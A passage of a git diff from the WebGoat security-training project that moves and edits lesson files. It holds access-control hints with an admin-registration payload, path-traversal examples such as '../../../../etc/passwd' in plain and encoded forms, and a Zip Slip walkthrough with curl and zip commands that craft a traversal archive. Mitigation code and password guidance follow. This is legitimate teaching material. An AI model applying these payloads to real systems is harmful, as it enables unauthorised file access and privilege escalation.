the GET request to `/access-control/users` to include 'Content-Type: application/json' access-control.hash.hint6=Now for the harder way ... it builds on the easier way access-control.hash.hint7=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it? access-control.hash.hint8=If you're still looking for hints ... try changing the Content-type header as in the GET request. access-control.hash.hint9=You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined. -access-control.hash.hint10=You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting. -access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"} +access-control.hash.hint10=You will want to add your own username with an admin role. Yes, you'd have to guess/fuzz this in a real-world setting. +access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","admin": "true"} access-control.hash.hint12=Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit. diff --git a/webgoat-lessons/password-reset/src/main/resources/css/password.css b/src/main/resources/lessons/passwordreset/css/password.css similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/css/password.css rename to src/main/resources/lessons/passwordreset/css/password.css diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_SecurityQuestions.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_SecurityQuestions.adoc similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_SecurityQuestions.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_SecurityQuestions.adoc diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_host_header.adoc similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_host_header.adoc diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_known_questions.adoc similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_known_questions.adoc diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_mitigation.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_mitigation.adoc similarity index 98% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_mitigation.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_mitigation.adoc index 0fd73abab..9dc4fcbb2 100644 --- a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_mitigation.adoc +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_mitigation.adoc @@ -18,7 +18,7 @@ For example: If you send a password reset link to a user via e-mail, do not incl Password reset tokens allow a user to reset a password without inherently safe information about the verification of the user. Hence they should be safe. It should be hard to guess such a token. The token should also be only valid for a short amount of time and should be invalid after the user successfully reset their password. === Logging user actions -Logging alone can't prevent any attacks but it can make it easier to determine that an attack happened and how the attacker tried to bypass security. You can also use logs to determine if an account really got hijacked and if it has to be returned the the rightful user. Actions you can log are: How did the security questions get answered? When did the access to the password reset link happen in comparison to the time the e-amil got sent? Were there failed attempts? +Logging alone can't prevent any attacks but it can make it easier to determine that an attack happened and how the attacker tried to bypass security. You can also use logs to determine if an account really got hijacked and if it has to be returned the the rightful user. Actions you can log are: How did the security questions get answered? When did the access to the password reset link happen in comparison to the time the e-mail got sent? Were there failed attempts? === Two factor authentication It is always safer to do an authentication process via two or more separate ways on two or more separate devices. If a user wants to reset their password you can ask them to enter verification codes sent to them via SMS, Messenger, or similar. This makes it hard for an attacker to bypass the verification process, because they need physical access to another device. diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_plan.adoc similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_plan.adoc diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_simple.adoc similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_simple.adoc diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_wrong_message.adoc similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc rename to src/main/resources/lessons/passwordreset/documentation/PasswordReset_wrong_message.adoc diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/src/main/resources/lessons/passwordreset/html/PasswordReset.html similarity index 93% rename from webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html rename to src/main/resources/lessons/passwordreset/html/PasswordReset.html index 5df435c24..2acb24098 100644 --- a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html +++ b/src/main/resources/lessons/passwordreset/html/PasswordReset.html @@ -3,10 +3,10 @@
-
+
-
+
@@ -90,11 +90,11 @@
-
+
-
+
@@ -138,7 +138,7 @@
-
+
-
+
@@ -260,6 +260,6 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/passwordreset/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/passwordreset/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset1.png b/src/main/resources/lessons/passwordreset/images/reset1.png similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/images/reset1.png rename to src/main/resources/lessons/passwordreset/images/reset1.png diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset2.png b/src/main/resources/lessons/passwordreset/images/reset2.png similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/images/reset2.png rename to src/main/resources/lessons/passwordreset/images/reset2.png diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack1.png b/src/main/resources/lessons/passwordreset/images/slack1.png similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/images/slack1.png rename to src/main/resources/lessons/passwordreset/images/slack1.png diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack2.png b/src/main/resources/lessons/passwordreset/images/slack2.png similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/images/slack2.png rename to src/main/resources/lessons/passwordreset/images/slack2.png diff --git a/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js b/src/main/resources/lessons/passwordreset/js/password-reset-simple.js similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js rename to src/main/resources/lessons/passwordreset/js/password-reset-simple.js diff --git a/webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html b/src/main/resources/lessons/passwordreset/templates/password_link_not_found.html similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html rename to src/main/resources/lessons/passwordreset/templates/password_link_not_found.html diff --git a/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html b/src/main/resources/lessons/passwordreset/templates/password_reset.html similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html rename to src/main/resources/lessons/passwordreset/templates/password_reset.html diff --git a/webgoat-lessons/password-reset/src/main/resources/templates/success.html b/src/main/resources/lessons/passwordreset/templates/success.html similarity index 100% rename from webgoat-lessons/password-reset/src/main/resources/templates/success.html rename to src/main/resources/lessons/passwordreset/templates/success.html diff --git a/webgoat-lessons/path-traversal/src/main/resources/css/path_traversal.css b/src/main/resources/lessons/pathtraversal/css/path_traversal.css similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/css/path_traversal.css rename to src/main/resources/lessons/pathtraversal/css/path_traversal.css diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_intro.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_intro.adoc new file mode 100644 index 000000000..81adbe035 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_intro.adoc @@ -0,0 +1,23 @@ +=== Path traversal + +A path(directory) traversal is a vulnerability where an attacker can access or store files and directories outside +the application's location. It may lead to reading files from other directories and overwriting critical system files in case of a file +upload. + +=== How does it work? + +For example, let's assume we have an application that hosts some files, in the following +format: `http://example.com/file=report.pdf` now as an attacker, you are interested in other files, of course, so +you try `http://example.com/file=../../../../../etc/passwd.` In this case, you try walking up to the root of the filesystem +and then go into `/etc/passwd` to gain access to this file. The `../` is called dot-dot-slash, another name +for this attack. + +Of course, this is a straightforward example, and in most cases, this will not work as frameworks implemented controls. So we need to get a little more creative and start encoding `../` before the request is sent to the server. +For example, if we URL encode `../`, you will get `%2e%2e%2f`, and the webserver receiving this request will decode +it again to `../`. + +Also, note that avoiding applications filtering those encodings double encoding might work as well. Double encoding +might be necessary when you have a system A which calls system B. System A will only decode once and +call B with the still encoded URL. + + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_retrieval.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_retrieval.adoc new file mode 100644 index 000000000..2f5575019 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_retrieval.adoc @@ -0,0 +1,6 @@ +=== Retrieving other files with a path traversal + +Path traversals are not limited to file uploads; when retrieving files, it can be the case that a path traversal +is possible to retrieve other files from the system. In this assignment, try to find a file called `path-traversal-secret.jpg` + + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload.adoc new file mode 100644 index 000000000..21ccc0a00 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload.adoc @@ -0,0 +1,12 @@ +=== Path traversal while uploading files + +In this assignment, the goal is to overwrite a specific file on the file system. Of course, WebGoat cares about the users +so you need to upload your file to the following location outside the usual upload location. + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal` + +|=== diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fix.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fix.adoc new file mode 100644 index 000000000..a0ba72fc6 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fix.adoc @@ -0,0 +1,11 @@ +=== Path traversal while uploading files + +The developer became aware of the vulnerability and implemented a fix that removed the `../` from the input. +Again the same assignment, but can you bypass the implemented fix? + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal` +|=== diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fixed.adoc similarity index 50% rename from webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc rename to src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fixed.adoc index 77eeeafa1..ea8ff9aaf 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_fixed.adoc +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fixed.adoc @@ -1,7 +1,7 @@ === Path traversal while retrieving files -Finally the upload is no longer vulnerable at least help us to verify :-) -In this assignment you need to get the contents of the following file: +Finally, the upload is no longer vulnerable at least help us to verify :-) +In this assignment, you need to get the contents of the following file: |=== |OS |Location diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_mitigation.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_mitigation.adoc new file mode 100644 index 000000000..7938594d8 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_mitigation.adoc @@ -0,0 +1,70 @@ +=== Path traversal mitigation + +As we saw in the previous assignments, protecting a file upload can be daunting. The thing comes down to trust +input without validating it. +In the examples shown before, a solution might be not to trust user input and create a random file name on the +server-side. + +If you need to save it based on user input, the best way to keep you safe is to check the canonical path. For example, in Java: + +[source] +---- +var multiPartFile = ... +var targetFile = new File("/tmp", multiPartFile.getOriginalName()); +var canonicalPath = targetFile.getCanonicalPath(); + +if (!canonicalPath.startWith("/tmp") { + throw new IllegalArgumentException("Invalid filename"); +} + +IOUtils.copy(multiPartFile.getBytes(), targetFile); +---- + +The canonical path function will resolve to an absolute path, removing `.` and `..` etc. By checking whether the canonical +the path is inside the expected directory. + + +For path traversals, while retrieving, one can apply the same technique described above, but as a defense in depth you +can also implement mitigation by running the application under a specific not privileged user who is not allowed to read and write +in any other directory. + +Make sure that you build detection for catching these cases in any case, but be careful with returning explicit information +to the user. Every tiny detail might give the attacker knowledge about your system. + +==== Be aware... + +As shown in the previous examples, be careful which method you use to retrieve parameters, especially query parameters. +Spring Boot does a decent job denying invalid path variables. To recap: + +[source] +---- +@Getter("/f") +public void f(@RequestParam("name") String name) { + //name is automatically decoded so %2E%2E%2F%2E%2E%2Ftest will become ../../test +} + +@Getter("/g") +public void g(HttpServletRequest request) { + var queryString = request.getQueryString(); // will return +} + +@Getter("/h") +public void h(HttpServletRequest request) { + var name = request.getParam("name"); //will return ../../test +---- + +If you invoke `/f` with `/f?name=%2E%2E%2F%2E%2E%2Ftest` it will become `../../test`. If you invoke `g` with +`/g?name=%2E%2E%2F%2E%2E%2Ftest` it will return `%2E%2E%2F%2E%2E%2Ftest` *NO* decoding will be applied. +The behavior of `/h` with the same parameter will be the same as `/f` + +As you can see, be careful and familiarize yourself with the correct methods to call. In every case, write a +unit test in such cases, which covers encoded characters. + +==== Spring Boot protection + +By default, Spring Boot has protection for using, for example, `../` in a path. The projection resides in the `StrictHttpFirewall` class. This will protect endpoint where the user input is part of the `path` like `/test/1.jpg` +if you replace `1.jpg` with `../../secret.txt`, it will block the request. With query parameters, that protection +will not be there. + +In the lesson about "File uploads" more examples of vulnerabilities are shown. + diff --git a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_remove_user_input.adoc similarity index 53% rename from webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc rename to src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_remove_user_input.adoc index aff3f2cbf..153e5add8 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/lessonPlans/en/PathTraversal_upload_remove_user_input.adoc +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_remove_user_input.adoc @@ -1,14 +1,14 @@ === Path traversal while uploading files The developer again became aware of the vulnerability by not validating the input of the `full name` input field. -A fix was made in an attempt to solve this vulnerability. +A fix was applied in an attempt to solve this vulnerability. -Again the same assignment but can you bypass the implemented fix? +Again the same assignment, but can you bypass the implemented fix? |=== |OS |Location |`operatingSystem:os[]` -|`webGoatTempDir:temppath[]PathTraversal/username:user[]` +|`webGoatTempDir:temppath[]PathTraversal` |=== diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip.adoc new file mode 100644 index 000000000..c16fb081f --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip.adoc @@ -0,0 +1,31 @@ +=== Zip Slip vulnerability + +As a developer, you have many occasions where you have to deal with zip files. For example, think about the upload facility or processing a bunch of CSV files that are uploaded as a zip file. A neat vulnerability was discovered and responsibly disclosed by the Snyk Security team. It uses path traversal, which can be used while extracting files. With the path traversal, you try to overwrite files outside the intended target folder. For example, you might be able to overwrite the `ls` command while extracting a zip file. Once this command has been replaced with some extra malicious actions each time the user types in `ls`, you can send the outcome of the listing towards your server before showing the actual command to the user. So you end up with remote command execution. + +==== Problem + +The problem occurs with how we extract zip files in Java; a common way to do this is: + +[source] +---- +File destinationDir = new File("/tmp/zip"); +Enumeration entries = zip.entries(); +while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File f = new File(destinationDir, e.getName()); + InputStream is = zip.getInputStream(e); + IOUtils.copy(is, write(f)); +} +---- + +At first glance, this looks ok, and you wrote something along the same lines. As we have seen in the previous assignments, the problem is that you can use a path traversal to break out of the `destinationDir` and start walking towards different locations. + +But what if we receive a zip file with the following contents: + +[source] +---- +orders.csv +../../../../../../../tmp/evil.sh +---- + +if you extract the zip file with the code above the file will be saved in `/tmp/evil.sh`. diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_assignment.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_assignment.adoc new file mode 100644 index 000000000..2e3b70053 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_assignment.adoc @@ -0,0 +1,15 @@ +=== Zip Slip assignment + +This time the developers only allow you to upload zip files. However, they made a programming mistake in uploading the zip file will extract it, but it will not replace your image. Can you find a way to overwrite your current image bypassing the programming mistake? + +To make the assignment a bit easier below you will find the location of the profile image you need to replace: + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg` + +|=== + + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_solution.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_solution.adoc new file mode 100644 index 000000000..a324008f4 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_solution.adoc @@ -0,0 +1,48 @@ +=== Solution + +First, let's create a zip file with an image inside: + +[source, subs="macros"] +---- +curl -o webwolf.jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png] +zip profile.zip webwolf.jpg +---- + +Now let's upload this as our profile image. We can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is: + +[source] +---- +Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk. +---- + +Let's create a zip file that traverses to the top and then back into the given directory in the assignment. + +First, create the directory structure: + +[source, subs="macros"] +---- +mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[] +cd webGoatTempDir:temppath[]PathTraversal/username:user[] +curl -o username:user[].jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png] +zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg +---- + +Now, if we upload this zip file, it solves the assignment. + +=== Why did this work? + +In the code, the developers used the following fragment: + +[source%linenums] +---- +ZipFile zip = new ZipFile(uploadedZipFile); +Enumeration entries = zip.entries(); +while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File profilePicture = new File(uploadDirectory, e.getName()); + InputStream is = zip.getInputStream(e); + Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); +} +---- + +The fix is to make sure the resulting file in line 5 resides in the directory you expect. Same as with the path traversal mitigation, use `profilePicture.getCanonicalPath()` to ensure the path is the same as you expect it to be. diff --git a/webgoat-lessons/path-traversal/src/main/resources/html/PathTraversal.html b/src/main/resources/lessons/pathtraversal/html/PathTraversal.html similarity index 92% rename from webgoat-lessons/path-traversal/src/main/resources/html/PathTraversal.html rename to src/main/resources/lessons/pathtraversal/html/PathTraversal.html index 135be2be6..5f716f71a 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/html/PathTraversal.html +++ b/src/main/resources/lessons/pathtraversal/html/PathTraversal.html @@ -5,11 +5,11 @@
-
+
-
+
@@ -63,7 +63,7 @@
-
+
@@ -118,7 +118,7 @@
-
+
@@ -174,7 +174,7 @@
-
+
@@ -212,11 +212,11 @@
-
+
-
+
@@ -229,8 +229,6 @@ enctype="multipart/form-data" action="/WebGoat/PathTraversal/zip-slip">
- Preview Image
@@ -273,8 +271,8 @@
-
+
- \ No newline at end of file + diff --git a/webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/pathtraversal/i18n/WebGoatLabels.properties similarity index 98% rename from webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/pathtraversal/i18n/WebGoatLabels.properties index cc5dd57ca..a546f1dcb 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/i18n/WebGoatLabels.properties +++ b/src/main/resources/lessons/pathtraversal/i18n/WebGoatLabels.properties @@ -54,5 +54,5 @@ path-traversal-zip-slip.hint4=Check the http request to find out which image nam path-traversal-zip-slip.no-zip=Please upload a zip file -path-traversal-zip-slip.extracted=Zip file extracted successfully, failed to copy image. Please contact our helpdesk. +path-traversal-zip-slip.extracted=Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk. diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/account.png b/src/main/resources/lessons/pathtraversal/images/account.png similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/account.png rename to src/main/resources/lessons/pathtraversal/images/account.png diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/1.jpg b/src/main/resources/lessons/pathtraversal/images/cats/1.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/1.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/1.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/10.jpg b/src/main/resources/lessons/pathtraversal/images/cats/10.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/10.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/10.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/2.jpg b/src/main/resources/lessons/pathtraversal/images/cats/2.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/2.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/2.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/3.jpg b/src/main/resources/lessons/pathtraversal/images/cats/3.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/3.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/3.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/4.jpg b/src/main/resources/lessons/pathtraversal/images/cats/4.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/4.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/4.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/5.jpg b/src/main/resources/lessons/pathtraversal/images/cats/5.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/5.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/5.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/6.jpg b/src/main/resources/lessons/pathtraversal/images/cats/6.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/6.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/6.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/7.jpg b/src/main/resources/lessons/pathtraversal/images/cats/7.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/7.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/7.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/8.jpg b/src/main/resources/lessons/pathtraversal/images/cats/8.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/8.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/8.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/images/cats/9.jpg b/src/main/resources/lessons/pathtraversal/images/cats/9.jpg similarity index 100% rename from webgoat-lessons/path-traversal/src/main/resources/images/cats/9.jpg rename to src/main/resources/lessons/pathtraversal/images/cats/9.jpg diff --git a/webgoat-lessons/path-traversal/src/main/resources/js/path_traversal.js b/src/main/resources/lessons/pathtraversal/js/path_traversal.js similarity index 92% rename from webgoat-lessons/path-traversal/src/main/resources/js/path_traversal.js rename to src/main/resources/lessons/pathtraversal/js/path_traversal.js index 0c2b341b8..955e7fe7b 100644 --- a/webgoat-lessons/path-traversal/src/main/resources/js/path_traversal.js +++ b/src/main/resources/lessons/pathtraversal/js/path_traversal.js @@ -70,9 +70,3 @@ webgoat.customjs.profileZipSlip = function () { formData.append("password", $("#passwordZipSlip").val()); return formData; } - -webgoat.customjs.profileZipSlipRetrieval = function () { - $.get("PathTraversal/zip-slip", function (result, status) { - document.getElementById("previewZipSlip").src = "data:image/png;base64," + result; - }); -} diff --git a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_1.adoc similarity index 76% rename from webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc rename to src/main/resources/lessons/securepasswords/documentation/SecurePasswords_1.adoc index ca61d8c47..fa8c7d095 100644 --- a/webgoat-lessons/secure-passwords/src/main/resources/lessonPlans/en/SecurePasswords_1.adoc +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_1.adoc @@ -1,8 +1,10 @@ -== National Institute of Standards and Technology (NIST) +=== National Institute of Standards and Technology (NIST) + The National Institute of Standards and Technology (NIST) is a non-regulatory federal agency within the U.S. Department of Commerce. + Its mission is to promote U.S. innovation and industrial competitiveness by advancing measurement science, standards, and technology in ways that enhance economic security and improve our quality of life. -NIST develops Federal Information Processing Standards (FIPS) which the Secretary of Commerce approves and with which federal agencies must comply. +NIST develops Federal Information Processing Standards (FIPS), which the Secretary of Commerce approves and federal agencies must comply with. NIST also provides guidance documents and recommendations through its Special Publications (SP) 800-series. These guidelines often become the foundation for best practice recommendations across the security industry and are incorporated into other standards. diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_2.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_2.adoc new file mode 100644 index 000000000..695a4daea --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_2.adoc @@ -0,0 +1,40 @@ +=== NIST password standard + +The NIST password standard (also known as the https://pages.nist.gov/800-63-3/sp800-63b.html[Special Publications (SP) 800-series]) is a guideline that provides recommendations for implementing secure password systems. + +==== Password rules +Here are some of the most important recommendations made by the most recent NIST standard: + +- *no composition rules* + +Do not request the user to, e.g., use at least one upper case letter and a special character on their password. +Please give them the opportunity to, but do not force them! +- *no password hints* + +If you wanted people to have a better chance at guessing your password, write it on a note attached to your screen. +- *no security questions* + +Security questions, also known as knowledge-based authentication (KBA), are outdated. +Asking a user, "What's the name of your pet?" or something similar to check if it's him is pretty insecure. +- *no unnecessary changing of passwords* +If you want users to comply and choose long, hard-to-guess passwords, you should not make them change those passwords unnecessarily after a certain period. +- *minimum size of 8 characters* + +A secure password nowadays should be at LEAST 8 characters long (up to 64). +This is a minimum, not a maximum-minimum! +- *support all UNICODE characters* + +It would help if you allowed all kinds of UNICODE characters in a password. +This also includes emojis and whitespaces. +- *check the password against known bad choices* +* passwords obtained from previous breach corpuses +* dictionary words +* repetitive or sequential characters (e.g. 'aaaaaa', '1234abcd') +* context-specific words, such as the name of the service, the username, and derivatives thereof + +==== Usability + +Besides the recommendations above, the NIST standard also recommends increasing the usability of password forms to increase the likelihood of users choosing a strong and secure password. Some of those are: + +- *allow pasting into the password input* + +Users should be able to use the "paste" functionality when entering a password. +Since this facilitates the use of password managers, it also increases the likelihood that the user will choose a strong password. +- *allow displaying the password* + +Password inputs should have an option to display the entered password to assist the user in successfully entering a password. +- *offer a strength meter* + +Add a strength meter on the password creation page to help the user choose a strong and secure password. diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_3.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_3.adoc new file mode 100644 index 000000000..513cb7662 --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_3.adoc @@ -0,0 +1,19 @@ +=== Are your passwords secure? + +What about you? Are your passwords secure? + +There are dedicated websites that allow searching if one of your accounts got breached in a past data breach. + +Go to https://haveibeenpwned.com/Passwords[Have I Been Pwned] or https://www.dehashed.com/[DEHASHED] per example and test if your account got breached. +If so, better change your passwords *right now*! + +==== What can you do to improve the security of your account? +- *use different passwords for different accounts* + +It is a good thing NOT to use the same password for multiple accounts but rather to use different passwords. +* *use passphrases* + +Use passphrase generators like https://www.rempe.us/diceware/#eff[Diceware] to generate passphrases. +Passphrases are passwords made out of several words instead of randomly generated character sequences. +This makes them way easier to remember for us human beings. And by the way: The longer, the better! +* *use a password manager* + +If you can't remember your different passwords, use a password manager to create and securely store your passwords. +- *use two-factor authentication* + +If possible, use two-factor authentication methods to add an extra layer of security to your accounts. diff --git a/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_4.adoc b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_4.adoc new file mode 100644 index 000000000..559198abc --- /dev/null +++ b/src/main/resources/lessons/securepasswords/documentation/SecurePasswords_4.adoc @@ -0,0 +1,32 @@ +=== Storing passwords + +After a strong and secure password was created, it also has to be stored securely. +The NIST gives recommendations on how applications should handle passwords and how to store them securely. + +==== How should a password be stored? + +- first of all: *use encryption and a protected channel for requesting passwords* + 